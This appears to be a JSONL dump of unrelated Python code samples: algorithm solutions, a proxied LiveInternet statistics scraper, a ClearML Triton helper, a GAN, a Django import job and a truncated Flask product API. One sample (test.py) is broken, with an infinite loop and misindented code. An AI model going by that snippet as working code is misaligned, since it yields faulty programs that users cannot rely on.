True\n temp = 0\n for i in range(index):\n if check[i] == True:\n temp += graph[i][index] + graph[index][i]\n recursive(index+1, count1+1, count2, sum1+temp, sum2)\n\n check[index] = False\n temp = 0\n for i in range(index):\n if check[i] == False:\n temp += graph[i][index] + graph[index][i]\n recursive(index+1, count1, count2+1, sum1, sum2+temp)\n\nrecursive(0, 0, 0, 0, 0)\nprint(curMin)","sub_path":"알고리즘풀이/21.07.04/스타트와링크.py","file_name":"스타트와링크.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"267995758","text":"# -*- coding: utf-8 -*-\nimport logging\nimport requests\nfrom itertools import islice\nfrom datetime import datetime\nimport json\n\nlogdate = datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\nlogging.basicConfig(format = u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s', level = logging.DEBUG, filename = u'D:\\\\liGetterLog4_{0}.log'.format(logdate))\n\nclass Query(object):\n __slots__ = ('domain', 'query', 'period', 'value')\n def __init__(self, domain, query, period, value):\n self.domain = domain\n self.query = query\n self.period = period\n self.value = value\n\nclass Domain(object):\n __slots__ = ('domain','registrar','created','paid_till','free_date')\n def __init__(self, domain, registrar, created, paid_till, free_date):\n self.domain = domain\n self.registrar = registrar\n self.created = created\n self.paid_till = paid_till\n self.free_date = free_date\n\n# f = \"D:\\\\domains\\\\ru_domains\"\n# count = 500\ndef getDomainsFromTextFile(f,count,offset): \n with open(f) as myfile:\n head = list(islice(myfile, offset-1, offset+count-1))\n domains = []\n for row in head:\n splittedRow = row.replace('\\n','').lower().split('\\t')\n domains.append(Domain(splittedRow[0],splittedRow[1],splittedRow[2],splittedRow[3],splittedRow[4]))\n return domains\n\n# domain = 'damageinfo.ru'\n# searchEngine = 'yandex'\n# date = '2015-10-31'\n# page = 1\ndef getLiveinternetResponse(domain,searchEngine,date,page):\n try:\n url = 'http://www.liveinternet.ru/stat/{0}/{1}.csv?date={2}&period=month&per_page=100&page={3}'.format(domain,searchEngine,date,page)\n proxies = {'http': 'http://94.77.88.2:3001'}\n data = requests.get(url, proxies=proxies).text.split('\\n')\n logging.info(u'В результатах {0} строк'.format(len(data)))\n return data\n except:\n logging.error(u'Requests error')\n pass\n\n# data = getLiveinternetResponse(domain,searchEngine,date,page)\ndef getQueriesFromLiveInternetCSV(data,domain):\n queries = []\n columnsNames = data[0].split(';')\n logging.info(u'Собираем данные из LI. Получили {0} запросов'.format(len(data[1:])))\n for row in data[1:]:\n splittedRow = row.split(';')\n if len(splittedRow) < 3:\n continue\n query = splittedRow[0][1:-1]\n for i in xrange(0,2):\n period = columnsNames[i+1][1:-1]\n value = splittedRow[i+1]\n queries.append(Query(domain,query,period,value))\n return queries\n\ndef getDomainQueries(domain,dates,searchEngines):\n domainQueries = []\n for searchEngine in searchEngines:\n logging.debug(u'Выбираем данные по поисковой системе {0}'.format(searchEngine))\n for date in dates:\n logging.debug(u'Выбираем данные за {0}'.format(date))\n previousData = []\n for pageCounter in xrange(1,11):\n logging.debug(u'Делаем страницу {0}'.format(pageCounter))\n data = getLiveinternetResponse(domain,searchEngine,date,pageCounter)\n rowsCount = len(data)\n if data == previousData or rowsCount < 4:\n if unicode('\"статистика сайта\";\"обновлено {date} в {time}\"'.decode('utf-8')) in data:\n logging.warning(u'Статистика LiveInternet отсутствует')\n return domainQueries\n else:\n logging.warning(u'Страница не содержит информации')\n break\n logging.info(u'Данные есть: {0}'.format(rowsCount))\n domainQueries += getQueriesFromLiveInternetCSV(data,domain)\n if rowsCount == 103:\n logging.info(u'Есть следующая страница')\n previousData = data\n else:\n logging.info(u'Страница последняя')\n break\n return domainQueries\n\n\nf = \"D:\\\\domains\\\\ru_domains\"\nsearchEngines = ['yandex']\ndates = ['2015-11-30','2015-10-31','2015-09-30','2015-08-31']\ncount = 10000\noffset = 300\ndomains = getDomainsFromTextFile(f,count,offset)\ndomainsCount = len(domains)\nallData = []\ncounter = 1\nfor item in domains:\n domain = item.domain\n logging.debug(u'Получаем данные для {0} домена из {1}: {2}'.format(counter,domainsCount,domain))\n isNotData = False\n counter += 1\n allData += getDomainQueries(domain,dates,searchEngines)\nuniqueQueries = list(set([q.query for q in allData]))\nlogging.debug(u'Всего запросов: {0}'.format(len(uniqueQueries)))\n# with open('D:\\\\queriesData_{0}.json'.format(logdate),'w+') as f1:\n # print >>f1,json.dumps(allData)\nwith open('D:\\\\uniqueQueries_{0}.json'.format(logdate),'w+') as f1:\n print >>f1,json.dumps(uniqueQueries)","sub_path":"prod/getLiveInternetShit4.py","file_name":"getLiveInternetShit4.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"108510645","text":"\"\"\"This summer you've decided to get in better shape – you're trying to develop more upper-body strength, so that you'd be able to pull yourself up in case you happen to be hanging off the edge of a building or a cliff.\n\nSo to get some practice, you've convinced some friends to go visit a local rock climbing wall. Unfortunately, there weren't any beginner-friendly walls in your area and some of your friends might be a little out of shape, so you might not all be able to reach the top.\n\nGiven an array holds representing the height of each climbing hold on the wall, and an array friends representing how far each of you can reach (ie: the maximum distance between holds that you'll be able to handle), your task is to find the maximum number of friends that can make it to the top of the wall.\n\nrock climbers\n\nTo help each other out, each friend can reach back and assist the previous climber to reach the next hold – if friend i helps friend j, their combined reach will be friends[i] + friends[j] (but note that they can only help the one climber directly behind them). With this in mind, you can choose to send the friends up in any order, but each friend only climbs once.\n\nNOTE: It's always possible to reach the first hold (regardless of its height).\n\nInput / Output\n\n[execution time limit] 4 seconds (py)\n\n[input] array.integer holds\n\nAn array of integers representing the height of each climbing hold on the wall, sorted in non-descending order.\n\nGuaranteed constraints:\n2 ≤ holds.length ≤ 1000\nholds[i] ≤ holds[i + 1]\n0 ≤ holds[i] ≤ 10^6\n\n[input] array.integer friends\n\nAn array of integers representing how far each friend is able to reach (ie: the maximum distance they can reach between consecutive holds).\n\nGuaranteed constraints:\n1 ≤ friends.length ≤ 1000\n0 ≤ friends[i] ≤ 10^5\n\n[output] integer\n\nHow many friends can reach the top.\"\"\"\n\n### This one is O(N^2), but you can hack up an O(N log N) by using two pointers to keep track of the maximum and minimum\n### However I feel that this version is easier to read and understand the logic :)\n### The strategy is to always find the next friend (that has the minimum reach) that has enough reach to grab at least one person, so we can effectively fit weaker friends in between.\n\ndef rockClimbing(holds, friends):\n max_difference = 0 \n for ind in range(1, len(holds)):\n max_difference = max(max_difference, holds[ind] - holds[ind - 1])\n \n friends.sort(reverse=True)\n \n previous_friend = 0\n number_of_people = 0\n \n while friends != []:\n \n min_size = max_difference - max(friends)\n ### Ensures that the next friend will be able to carry someone up\n \n candidates = [friend for friend in friends if friend + previous_friend >= max_difference and friend >= min_size]\n \n if candidates != []:\n \n previous_friend = candidates.pop()\n ### Grab the person with minumum amount of reach\n \n friends.remove(previous_friend)\n number_of_people += 1\n \n elif max(friends) + previous_friend >= max_difference:\n ### In the case that someone can still be carried but won't be able to carry someone else\n \n number_of_people += 1\n break\n \n else: ### Nobody else can be carried\n break\n \n return number_of_people\n","sub_path":"Challenges/rockClimbing.py","file_name":"rockClimbing.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"314051448","text":"#\n# @lc app=leetcode.cn id=905 lang=python3\n#\n# [905] 按奇偶排序数组\n#\n# https://leetcode-cn.com/problems/sort-array-by-parity/description/\n#\n# algorithms\n# Easy (67.85%)\n# Likes: 142\n# Dislikes: 0\n# Total Accepted: 36.2K\n# Total Submissions: 52.6K\n# Testcase Example: '[3,1,2,4]'\n#\n# 给定一个非负整数数组 A,返回一个数组,在该数组中, A 的所有偶数元素之后跟着所有奇数元素。\n# \n# 你可以返回满足此条件的任何数组作为答案。\n# \n# \n# \n# 示例:\n# \n# 输入:[3,1,2,4]\n# 输出:[2,4,3,1]\n# 输出 [4,2,3,1],[2,4,1,3] 和 [4,2,1,3] 也会被接受。\n# \n# \n# \n# \n# 提示:\n# \n# \n# 1 <= A.length <= 5000\n# 0 <= A[i] <= 5000\n# \n# \n#\n\n# @lc code=start\nfrom typing import List\n\n\nclass Solution:\n def sortArrayByParity(self, A: List[int]) -> List[int]:\n o, e = [], []\n for n in A:\n if n % 2:\n o.append(n)\n else:\n e.append(n)\n\n return e + o\n\n# @lc code=end\n","sub_path":"easy/905.按奇偶排序数组.py","file_name":"905.按奇偶排序数组.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"49906208","text":"from collections import defaultdict\nfrom operator import setitem\nfrom functools import reduce\n\nsolution1 = lambda Input: [int(''.join(list(filter(lambda x: x in list(map(chr, range(48, 58))), i[::-1])))) for i in Input]\nsolution2 = lambda Input: [i[0] * i[1] for i in list(Input)]\nsolution3 = lambda Input: [i for i in Input if i % 6 == 0 or (i - 2) % 6 == 0 or (i - 5) % 6 == 0]\nsolution4 = lambda Input: list(filter(lambda x: type(x) in [int, tuple] or type(x) is str and len(x) is not 0, Input))\nsolution5 = lambda Input: [setitem(i, 'square', i['width'] * i['length']) or i for i in Input]\nsolution6 = lambda Input: [setitem(i, 'square', i['width'] * i['length']) or i for i in map(dict, Input)]\nsolution7 = lambda Input: set(reduce(lambda x, y: {i for i in x if i in y}, Input))\nsolution8 = lambda Input: dict(reduce(lambda Dict, val: setitem(Dict, val, Dict[val] + 1) or Dict, Input, defaultdict(int)))\nsolution9 = lambda Input: [i['name'] for i in Input if i['gpa'] > 4.5]\nsolution10 = lambda Input: [i for i in Input if sum(map(int, i[::2])) == sum(map(int, i[1::2]))]\n\nsolutions = {\n 'solution1': solution1,\n 'solution2': solution2,\n 'solution3': solution3,\n 'solution4': solution4,\n 'solution5': solution5,\n 'solution6': solution6,\n 'solution7': solution7,\n 'solution8': solution8,\n 'solution9': solution9,\n 'solution10': solution10,\n}\n","sub_path":"hw02/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"273021933","text":"import re\nimport subprocess\nfrom argparse import ArgumentParser\nfrom time import time\nfrom typing import Optional\n\nfrom pathlib2 import Path\n\nfrom clearml import Task, Logger\nfrom clearml.backend_api.utils import get_http_session_with_retry\nfrom clearml_serving.serving_service import ServingService\n\n\nclass TritonHelper(object):\n _metric_line_parsing = r\"(\\w+){(gpu_uuid=\\\"[\\w\\W]*\\\",)?model=\\\"(\\w+)\\\",\\s*version=\\\"(\\d+)\\\"}\\s*([0-9.]*)\"\n _default_metrics_port = 8002\n\n def __init__(\n self,\n args, # Any\n task, # type: Task\n serving_id, # type: str\n metric_host=None, # type: Optional[str]\n metric_port=None, # type: int\n ):\n # type: (...) -> None\n self._http_session = get_http_session_with_retry()\n self.args = dict(**args.__dict__) if args else {}\n self.task = task\n self.serving_id = serving_id\n self.metric_host = metric_host or '0.0.0.0'\n self.metric_port = metric_port or self._default_metrics_port\n self._parse_metric = re.compile(self._metric_line_parsing)\n self._timestamp = time()\n print('String Triton Helper service\\n{}\\n'.format(self.args))\n\n def report_metrics(self, remote_logger):\n # type: (Optional[Logger]) -> bool\n # iterations are seconds from start\n iteration = int(time() - self._timestamp)\n\n report_msg = \"reporting metrics: relative time {} sec\".format(iteration)\n self.task.get_logger().report_text(report_msg)\n if remote_logger:\n remote_logger.report_text(report_msg)\n\n # noinspection PyBroadException\n try:\n request = self._http_session.get('http://{}:{}/metrics'.format(\n self.metric_host, self.metric_port))\n if not request.ok:\n return False\n content = request.content.decode().split('\\n')\n except Exception:\n return False\n\n for line in content:\n line = line.strip()\n if not line or line.startswith('#'):\n continue\n # noinspection PyBroadException\n try:\n metric, gpu_uuid, variant, version, value = self._parse_metric.match(line).groups()\n value = float(value)\n except Exception:\n continue\n self.task.get_logger().report_scalar(\n title=metric,\n series='{}.v{}'.format(variant, version),\n iteration=iteration,\n value=value\n )\n # on the remote logger we add our own Task ID (unique ID),\n # to support multiple servers reporting to the same service controller\n if remote_logger:\n remote_logger.report_scalar(\n title=metric,\n series='{}.v{}.{}'.format(variant, version, self.task.id),\n iteration=iteration,\n value=value\n )\n\n def maintenance_daemon(\n self,\n local_model_repo='/models', # type: str\n update_frequency_sec=60.0, # type: float\n metric_frequency_sec=60.0 # type: float\n ):\n # type: (...) -> None\n\n Path(local_model_repo).mkdir(parents=True, exist_ok=True)\n\n a_service = ServingService(task_id=self.serving_id)\n a_service.triton_model_service_update_step(model_repository_folder=local_model_repo)\n\n # noinspection PyProtectedMember\n remote_logger = a_service._task.get_logger()\n\n # todo: log triton server outputs when running locally\n\n # we assume we can run the triton server\n cmd = [\n 'tritonserver',\n '--model-control-mode=poll',\n '--model-repository={}'.format(local_model_repo),\n '--repository-poll-secs={}'.format(update_frequency_sec),\n '--metrics-port={}'.format(self._default_metrics_port),\n '--allow-metrics=true',\n '--allow-gpu-metrics=true',\n ]\n for k, v in self.args.items():\n if not v or not str(k).startswith('t_'):\n continue\n cmd.append('--{}={}'.format(k, v))\n\n print('Starting server: {}'.format(cmd))\n try:\n proc = subprocess.Popen(cmd)\n except FileNotFoundError:\n raise ValueError(\n \"Triton Server Engine (tritonserver) could not be found!\\n\"\n \"Verify you running inside the `nvcr.io/nvidia/tritonserver` docker container\")\n base_freq = min(update_frequency_sec, metric_frequency_sec)\n metric_tic = update_tic = time()\n while True:\n try:\n error_code = proc.wait(timeout=base_freq)\n if error_code == 0:\n print(\"triton-server process ended with error code {}\".format(error_code))\n return\n raise ValueError(\"triton-server process ended with error code {}\".format(error_code))\n except subprocess.TimeoutExpired:\n pass\n pass\n\n # update models\n if time() - update_tic > update_frequency_sec:\n a_service.triton_model_service_update_step(model_repository_folder=local_model_repo)\n update_tic = time()\n\n # update stats\n if time() - metric_tic > metric_frequency_sec:\n metric_tic = time()\n self.report_metrics(remote_logger)\n\n\ndef main():\n title = 'clearml-serving - Nvidia Triton Engine Helper'\n print(title)\n parser = ArgumentParser(prog='clearml-serving', description=title)\n parser.add_argument(\n '--serving-id', default=None, type=str, required=True,\n help='Specify main serving service Task ID')\n parser.add_argument(\n '--project', default='serving', type=str,\n help='Optional specify project for the serving engine Task')\n parser.add_argument(\n '--name', default='nvidia-triton', type=str,\n help='Optional specify task name for the serving engine Task')\n parser.add_argument(\n '--update-frequency', default=10, type=float,\n help='Model update frequency in minutes')\n parser.add_argument(\n '--metric-frequency', default=1, type=float,\n help='Metric reporting update frequency in minutes')\n parser.add_argument(\n '--t-http-port', type=str, help=' The port for the server to listen on for HTTP requests')\n parser.add_argument(\n '--t-http-thread-count', type=str, help=' Number of threads handling HTTP requests')\n parser.add_argument(\n '--t-allow-grpc', type=str, help=' Allow the server to listen for GRPC requests')\n parser.add_argument(\n '--t-grpc-port', type=str, help=' The port for the server to listen on for GRPC requests')\n parser.add_argument(\n '--t-grpc-infer-allocation-pool-size', type=str,\n help=' The maximum number of inference request/response objects that remain '\n 'allocated for reuse. As long as the number of in-flight requests doesn\\'t exceed '\n 'this value there will be no allocation/deallocation of request/response objects')\n parser.add_argument(\n '--t-pinned-memory-pool-byte-size', type=str,\n help=' The total byte size that can be allocated as pinned system '\n 'memory. If GPU support is enabled, the server will allocate pinned '\n 'system memory to accelerate data transfer between host and devices '\n 'until it exceeds the specified byte size. This option will not affect '\n 'the allocation conducted by the backend frameworks. Default is 256 MB')\n parser.add_argument(\n '--t-cuda-memory-pool-byte-size', type=str,\n help='<:> The total byte size that can be allocated as CUDA memory for '\n 'the GPU device. If GPU support is enabled, the server will allocate '\n 'CUDA memory to minimize data transfer between host and devices '\n 'until it exceeds the specified byte size. This option will not affect '\n 'the allocation conducted by the backend frameworks. The argument '\n 'should be 2 integers separated by colons in the format :. This option can be used multiple times, but only '\n 'once per GPU device. Subsequent uses will overwrite previous uses for '\n 'the same GPU device. Default is 64 MB')\n parser.add_argument(\n '--t-min-supported-compute-capability', type=str,\n help=' The minimum supported CUDA compute capability. GPUs that '\n 'don\\'t support this compute capability will not be used by the server')\n parser.add_argument(\n '--t-buffer-manager-thread-count', type=str,\n help=' The number of threads used to accelerate copies and other'\n 'operations required to manage input and output tensor contents.'\n 'Default is 0')\n\n args = parser.parse_args()\n task = Task.init(project_name=args.project, task_name=args.name, task_type=Task.TaskTypes.inference)\n helper = TritonHelper(args, task, serving_id=args.serving_id)\n # this function will never end\n helper.maintenance_daemon(\n local_model_repo='/models',\n update_frequency_sec=args.update_frequency*60.0,\n metric_frequency_sec=args.metric_frequency*60.0,\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"clearml_serving/triton_helper.py","file_name":"triton_helper.py","file_ext":"py","file_size_in_byte":9543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"234405305","text":"# encoding: utf-8\n\nu'''MCL — custom upgrade steps.'''\n\nimport plone.api\nfrom eea.facetednavigation.layout.interfaces import IFacetedLayout\nfrom Products.CMFCore.utils import getToolByName\nfrom ._utils import setFacetedNavigation\n\ndef _getPortal(context):\n return getToolByName(context, 'portal_url').getPortalObject()\n\ndef installSciencedataView(setupTool):\n u'''Install jpl.mcl.site.sciencedata.'''\n '''Set up faceted navigation and add disclaimers on all Science Folders.'''\n portal = _getPortal(setupTool)\n request = portal.REQUEST\n sciencefolder = portal['science-data']\n setFacetedNavigation(sciencefolder, request, force=True)\n\ndef emptyfunc(setupTool):\n u'''Empty function'''\n print(\"Upgraded\")\n","sub_path":"src/jpl.mcl.site.sciencedata/src/jpl/mcl/site/sciencedata/upgrades.py","file_name":"upgrades.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"351308136","text":"\nimport random\nwhile True :\n com_for_six = [\"Good cricket all round ok\",\n \"Just over the fielder\",\n \"Thats a hugeeeee hit! oke \",\n \"That's a screamer\",\n \"Excellent atting conditions oke \",\n \"That's massive and out of the ground\",\n \"Maxxxxximumm ok\",\n \"What a lovely shot!...its six\",\n \"Only he can play that shot\",\n \"Thats huge\",\n \"Thats a maximum\"]\n com_for_six = random.choice(com_for_six)\nwrite = open(\"text01.txt\",'a') \n ","sub_path":"sample_depoly11/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"238118862","text":"\"\"\"Generative adversarial network.\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow import contrib\nfrom tensorflow.contrib import layers\n\nclass Gan(object):\n \"\"\"Adversary based generator network.\n \"\"\"\n def __init__(self, ndims=784, nlatent=2):\n \"\"\"Initializes a GAN\n\n Args:\n ndims(int): Number of dimensions in the feature.\n nlatent(int): Number of dimensions in the latent space.\n \"\"\"\n\n self._ndims = ndims\n self._nlatent = nlatent\n\n # Input images\n self.x_placeholder = tf.placeholder(tf.float32, [None, ndims])\n\n # Input noise\n self.z_placeholder = tf.placeholder(tf.float32, [None, nlatent])\n\n # Build graph.\n self.x_hat = self._generator(self.z_placeholder) \n y_hat = self._discriminator(self.x_hat)\n y = self._discriminator(self.x_placeholder, reuse=True)\n\n # Discriminator loss\n self.d_loss = self._discriminator_loss(y, y_hat)\n\n # Generator loss\n self.g_loss = self._generator_loss(y_hat)\n\n # Optimizers\n self.learning_rate = tf.placeholder(tf.float32, shape=[])\n\n self.generator_variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='generator')\n self.discriminator_variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='discriminator')\n\n self.discriminator_optimizer = tf.train.GradientDescentOptimizer(learning_rate = self.learning_rate)\n self.discriminator_train_op = self.discriminator_optimizer.minimize(self.d_loss, var_list=self.discriminator_variables)\n\n self.generator_optimizer = tf.train.AdamOptimizer(learning_rate = self.learning_rate)\n self.generator_train_op = self.generator_optimizer.minimize(self.g_loss, var_list=self.generator_variables)\n\n # Create session\n self.session = tf.InteractiveSession()\n self.session.run(tf.global_variables_initializer())\n\n def _discriminator(self, x, reuse=False):\n \"\"\"Discriminator block of the network.\n\n Args:\n x (tf.Tensor): The input tensor of dimension (None, 784).\n reuse (Boolean): re use variables with same name in scope instead of creating\n new ones, check Tensorflow documentation\n Returns:\n y (tf.Tensor): Scalar output prediction D(x) for true vs fake image(None, 1). \n DO NOT USE AN ACTIVATION FUNCTION AT THE OUTPUT LAYER HERE.\n\n \"\"\"\n with tf.variable_scope(\"discriminator\", reuse=reuse) as scope:\n if reuse:\n tf.get_variable_scope().reuse_variables()\n h1 = tf.layers.dense(x, 128 , activation = tf.nn.relu)\n y = tf.layers.dense(h1, 1)\n return y\n\n\n def _discriminator_loss(self, y, y_hat):\n \"\"\"Loss for the discriminator.\n\n Args:\n y (tf.Tensor): The output tensor of the discriminator for true images of dimension (None, 1).\n y_hat (tf.Tensor): The output tensor of the discriminator for fake images of dimension (None, 1).\n Returns:\n l (tf.Scalar): average batch loss for the discriminator.\n\n \"\"\"\n # Loss corresponding to true samples\n true_samples_loss = tf.nn.sigmoid_cross_entropy_with_logits(labels = tf.ones(tf.shape(y)), logits = y)\n \n # Loss corresponding to fake samples\n fake_samples_loss = tf.nn.sigmoid_cross_entropy_with_logits(labels = tf.zeros(tf.shape(y_hat)), logits = y_hat)\n \n # Discriminator tries to classify true samples with 1 and fake samples with 0\n l = tf.reduce_mean(true_samples_loss) + tf.reduce_mean(fake_samples_loss)\n return l\n\n\n def _generator(self, z, reuse=False):\n \"\"\"From a sampled z, generate an image.\n\n Args:\n z(tf.Tensor): z from _sample_z of dimension (None, 2).\n reuse (Boolean): re use variables with same name in scope instead of creating\n new ones, check Tensorflow documentation \n Returns:\n x_hat(tf.Tensor): Fake image G(z) (None, 784).\n \"\"\"\n with tf.variable_scope(\"generator\", reuse=reuse) as scope:\n if reuse:\n tf.get_variable_scope().reuse_variables()\n h1 = tf.layers.dense(z, 128 , activation = tf.nn.relu)\n x_hat = tf.layers.dense(h1, self._ndims, activation = tf.nn.sigmoid)\n return x_hat\n\n\n def _generator_loss(self, y_hat):\n \"\"\"Loss for the discriminator.\n\n Args:\n y_hat (tf.Tensor): The output tensor of the discriminator for fake images of dimension (None, 1).\n Returns:\n l (tf.Scalar): average batch loss for the discriminator.\n\n \"\"\"\n # Generator tries to make discriminator classify fake samples with 1\n l = tf.nn.sigmoid_cross_entropy_with_logits(labels = tf.ones(tf.shape(y_hat)), logits = y_hat)\n return tf.reduce_mean(l)\n","sub_path":"assignment11/mp11/models/gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":4941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"552713564","text":"from datetime import datetime, timedelta\n\nimport MySQLdb\nfrom django.conf import settings\nfrom django_extensions.management.jobs import BaseJob\n\nimport logging\n\nfrom future.models import FuturePrice, FutureBWD, FutureExchangeRate\n\nlogging.basicConfig(\n format='%(asctime)s %(name)s[%(levelname)s] %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.DEBUG\n)\n\nold_db_settings = settings.DATABASES['local_daily_data']\n\nconn = MySQLdb.connect(\n host=old_db_settings['HOST'],\n user=old_db_settings['USER'],\n db=old_db_settings['NAME'],\n passwd=old_db_settings['PASSWORD'],\n cursorclass=MySQLdb.cursors.DictCursor\n)\ncursor = conn.cursor()\n\n\nclass Job(BaseJob):\n help = \"import future data from ie history mysql table [daily_data]\"\n\n def execute(self):\n start = datetime.now()\n\n # 遍历 daily_data\n logging.info('开始获取 daily_data 数据')\n cursor.execute('select * from daily_data')\n data = cursor.fetchall()\n logging.info('数据获取完毕, 得到%s条数据' % len(data))\n price_list = []\n bwd_list = []\n exchange_rate_list = []\n logging.info('开始对应到 django model')\n\n for row in data:\n if datetime.now() - start > timedelta(seconds=10):\n logging.info('已对应 %s 条数据' % len(price_list))\n start = datetime.now()\n\n date = row['date_of_record'] or row['crawl_time'].date()\n time = row['crawl_time'].time() if row['crawl_time'] else None\n created_at = row['crawl_time']\n\n if row['lme_3']:\n price_list.append(FuturePrice(\n id=row['id'],\n source='lme',\n future='3m',\n price=row['lme_3'],\n date=date,\n time=time,\n created_at=created_at,\n contract=row['agreement_3'],\n varieties=row['type'],\n ))\n\n if row['bwd']:\n bwd_list.append(FutureBWD(\n varieties=row['type'],\n contract=row['agreement_1'],\n future='1m',\n date=date,\n time=time,\n source='shmet',\n price=row['bwd'],\n created_at=created_at,\n change=row['change'],\n ))\n\n for future, column in exchange_rate_mapping.items():\n rate = FutureExchangeRate(\n currency='USD',\n future=future,\n price=row[column],\n created_at=created_at,\n source='boc',\n date=date\n )\n if future == '1w':\n rate.price_buy = row['week_exchange_buy']\n if future == '3m':\n rate.price_buy = row['three_mon_exchange_buy']\n if rate.price_buy or rate.price or rate.price_sell:\n exchange_rate_list.append(rate)\n\n logging.info('已对应完毕')\n logging.info('开始写入数据库')\n\n batch = 5000\n count = 0\n while count * batch <= len(data):\n\n if datetime.now() - start > timedelta(seconds=30):\n logging.info('已写入 %s 条数据' % (count*batch))\n start = datetime.now()\n\n i, j = count * batch, (count + 1) * batch\n FuturePrice.objects.bulk_create(price_list[i:j])\n FutureExchangeRate.objects.bulk_create(exchange_rate_list[i:j])\n FutureBWD.objects.bulk_create(bwd_list[i:j])\n count += 1\n\n logging.info('所有数据写入完毕')\n\n\n\nexchange_rate_mapping = {\n '1w': 'week_exchange',\n '1m': 'one_mon_exchange',\n '2m': 'two_mon_exchange',\n '3m': 'three_mon_exchange',\n '4m': 'four_mon_exchange',\n '5m': 'five_mon_exchange',\n '6m': 'six_mon_exchange',\n}\n","sub_path":"src/api/future/jobs/future.py","file_name":"future.py","file_ext":"py","file_size_in_byte":4016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"593375891","text":"import os\nimport csv\nimport logging\nfrom flask import Flask, Response, jsonify, request, json, url_for, make_response\nfrom models import Product, DataValidationError\nimport mock\n\n# Pull options from environment\nDEBUG = (os.getenv('DEBUG', 'False') == 'True')\nPORT = os.getenv('PORT', '5000')\n\n# Create Flask application\napp = Flask(__name__)\n\n# Status Codes\nHTTP_200_OK = 200\nHTTP_201_CREATED = 201\nHTTP_204_NO_CONTENT = 204\nHTTP_400_BAD_REQUEST = 400\nHTTP_404_NOT_FOUND = 404\nHTTP_409_CONFLICT = 409\n\n######################################################################\n# Error Handlers\n######################################################################\n@app.errorhandler(DataValidationError)\ndef request_validation_error(error):\n \"\"\" Handles all data validation issues from the model \"\"\"\n return bad_request(error)\n\n@app.errorhandler(400)\ndef bad_request(error):\n \"\"\" Handles requests that have bad or malformed data \"\"\"\n return jsonify(status=400, error='Bad Request', message=error.message), 400\n\n# @app.errorhandler(404)\n# def not_found(error):\n# \"\"\" Handles Products that cannot be found \"\"\"\n# return jsonify(status=404, error='Not Found', message=error.message), 404\n#\n# @app.errorhandler(405)\n# def method_not_supported(error):\n# \"\"\" Handles bad method calls \"\"\"\n# return jsonify(status=405, error='Method not Allowed',\n# message='Your request method is not supported.' \\\n# ' Check your HTTP method and try again.'), 405\n\n@app.errorhandler(500)\ndef internal_server_error(error):\n \"\"\" Handles catostrophic errors \"\"\"\n return jsonify(status=500, error='Internal Server Error', message=error.message), 500\n\n######################################################################\n# GET INDEX\n######################################################################\n@app.route('/')\ndef index():\n \"\"\" Return something useful by default \"\"\"\n return jsonify(name='Product Demo REST API Service',\n version='1.0',\n url=url_for('list_product', _external=True)), HTTP_200_OK\n\n######################################################################\n# LIST ALL products\n######################################################################\n@app.route('/Products', methods=['GET'])\ndef list_product():\n \"\"\" Retrieves a list of products from the database \"\"\"\n results = []\n category = request.args.get('category')\n name = request.args.get('name')\n if category:\n results = Product.find_by_category(category)\n elif name:\n results = Product.find_by_name(name)\n else:\n results = Product.all()\n\n return jsonify([p.serialize() for p in results]), HTTP_200_OK\n\n######################################################################\n# LIST AVAILABLE Products\n######################################################################\n@app.route('/Products/available', methods=['GET'])\ndef list_available_products():\n \"\"\" Retrieves a list of available products from the database \"\"\"\n results = []\n results = Product.available()\n return jsonify([p.serialize() for p in results]), HTTP_200_OK\n\n######################################################################\n# RETRIEVE A PRODUCT\n######################################################################\n@app.route('/Products/', methods=['GET'])\ndef get_products(id):\n \"\"\" Retrieves a Product with a specific id \"\"\"\n product = Product.find(id)\n if product:\n message = product.serialize()\n return_code = HTTP_200_OK\n if product.count == 0:\n message['Understocked'] = 'Product out of Stock'\n else:\n message = {'error' : 'Product with id: %s was not found' % str(id)}\n return_code = HTTP_404_NOT_FOUND\n\n return jsonify(message), return_code\n\n######################################################################\n# ADD A NEW PRODUCT\n######################################################################\n@app.route('/Products', methods=['POST'])\ndef create_product():\n \"\"\" Creates a Product in the datbase from the posted database \"\"\"\n payload = request.get_json()\n product = Product()\n product.deserialize(payload)\n product.save()\n message = product.serialize()\n response = make_response(jsonify(message), HTTP_201_CREATED)\n response.headers['Location'] = url_for('get_products', id=product.id, _external=True)\n return response\n\n######################################################################\n# UPDATE AN EXISTING PRODUCT\n######################################################################\n@app.route('/Products/', methods=['PUT'])\ndef update_products(id):\n \"\"\" Updates a Products in the database fom the posted database \"\"\"\n product = Product.find(id)\n if product:\n payload = request.get_json()\n product.deserialize(payload)\n product.save()\n message = product.serialize()\n return_code = HTTP_200_OK\n else:\n message = {'error' : 'Product with id: %s was not found' % str(id)}\n return_code = HTTP_404_NOT_FOUND\n\n return jsonify(message), 